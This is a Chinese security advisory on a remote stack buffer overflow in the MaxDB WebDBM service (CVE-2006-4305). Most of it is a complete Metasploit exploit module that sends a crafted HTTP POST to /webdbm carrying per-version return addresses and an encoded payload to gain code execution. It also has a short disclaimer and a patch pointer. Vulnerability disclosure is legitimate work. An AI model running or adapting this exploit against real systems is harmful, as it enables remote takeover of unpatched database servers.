首页 -> 安全研究

安全研究

安全漏洞
SAP-DB/MaxDB WebDBM远程缓冲区溢出漏洞

发布日期:2006-08-29
更新日期:2006-08-29

受影响系统:
SAP DB
MySQL AB MaxDB 7.6.00.22
描述:
BUGTRAQ  ID: 19660
CVE(CAN) ID: CVE-2006-4305

MySQL的MaxDB是SAP AG开放源码数据库SAP DB的增强版本,是对MySQL数据库服务器的补充。

MaxDB在处理HTTP请求中的参数时存在缓冲区溢出漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令控制系统或导致拒绝服务。

<**>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

require 'msf/core'

module Msf

class Exploits::Windows::Http::Maxdb_Webdbm_Dbname_Overflow < Msf::Exploit::Remote

    include Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,    
            'Name'           => 'MaxDB WebDBM Database Parameter Overflow',
            'Description'    => %q{
                This module exploits a stack overflow in the MaxDB WebDBM    
                service. By sending a specially-crafted HTTP request that contains
                an overly long database name. A remote attacker could overflow a buffer
                and execute arbitrary code on the system with privileges of the wahttp process.

                This module has been tested against MaxDB 7.6.00.16 and MaxDB 7.6.00.27.    
            },
            'Author'         => [ 'MC' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 3583 $',
            'References'     =>
                [
                      ['OSVDB', '28300'],
                    ['BID', '19660'],
                    ['CVE', '2006-4305'],
                ],
            'DefaultOptions' =>
            {
                'EXITFUNC' => 'thread',
            },

            'Privileged'     => true,
            'Payload'        =>
                {
                    'Space'    => 400,
                    'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x40",
                    'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'MaxDB 7.6.00.16', { 'Ret' => 0x1005a08f } ], # wapi.dll
                    [ 'MaxDB 7.6.00.27', { 'Ret' => 0x1005b08f } ], # wapi.dll
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Aug 29 2006'))
            
            register_options( [ Opt::RPORT(9999) ], self.class )

    end

    def exploit
        connect

        server = Rex::Text.rand_text_english(5, payload_badchars)
        user   = Rex::Text.rand_text_english(5, payload_badchars)
        pass   = Rex::Text.rand_text_english(5, payload_badchars)
        port   = rand(65535).to_s

        sploit =  Rex::Text.rand_text_alphanumeric(91, payload_badchars) + [target.ret].pack('V')
        sploit << payload.encoded

        req    =  "Event=DBM_LOGON&Action=LOGON&Server=#{server}&Database=#{sploit}"
        req    << "&User=#{user}&Password=#{pass}"

        res    =  "POST /webdbm HTTP/1.1\r\n" + "Host: #{rhost}:#{port}\r\n"  
        res    << "Content-Length: #{req.length}" + "\r\n\r\n" + req + "\r\n"

        print_status("Trying target %s..." % target.name)

        sock.put(res)

        #give wahttp.exe a bit to recover...
        sleep 2

        handler
        disconnect
    end

end
end

建议:
厂商补丁:

MySQL AB
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.mysql.com/

浏览次数:2610
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障